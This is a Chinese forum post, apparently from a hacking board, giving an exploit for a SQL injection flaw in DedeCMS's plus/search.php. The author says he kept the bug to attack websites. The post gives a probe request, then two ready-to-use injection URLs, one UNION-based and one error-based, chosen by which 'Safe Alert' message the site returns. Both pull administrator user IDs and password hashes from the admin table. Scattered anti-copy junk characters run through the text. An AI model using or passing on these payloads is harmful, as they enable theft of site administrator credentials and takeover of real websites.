[通杀]dedecms plus/search.php 注入漏洞利用EXP

admin

转载不加作者名的没JJ

哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站  放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
& Z* m# }; c% Z) L3 f
5 P) X/ u) i  {- {* D2 A' L# Y既然已经发出来了，我就把我自己搞的exp发下吧。。唉。

) Y  A# u) F& g2 g/ _: m- X9 y我一般是这样测试的：
4 _9 b' n5 p) c
提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
5 L- K. B- T7 P' p8 n4 d: Y
转载不加作者名的没JJ

! ~6 _0 u+ @+ s8 e2 j作者：鬼哥
. J3 o4 j' M7 H* o; u

% d- I4 q( {) e5 t
& [7 j; a: t/ y) N) [  a0 l9 r# ?8 F看结果如果提示
5 k4 G& A& v! J2 o2 Z! h, ~3 j
( p% B. _( H& Z' c( hSafe Alert: Request Error step 2 !
6 O0 T; w  Q4 U  n" H$ ~
& x2 z4 Q8 b0 X那么直接用下面的exp

$ f: ~/ w- B1 ^. K+ Xxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
. M9 N- u0 ?- ?' J
7 R6 p$ j, A3 S- }
看结果如果提示
  p4 ^& Y  {- y* T
Safe Alert: Request Error step 1 !

那么直接用下面的exp
% o4 q3 f( j  W. S4 n
4 i8 A7 M; h; t( rxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
1 i8 z+ v! H% o5 W! {

如果正常显示证明漏洞不存在了。

) W7 k5 T. @+ W$ T, t' w$ l$ W9 f转载不加作者名的没JJ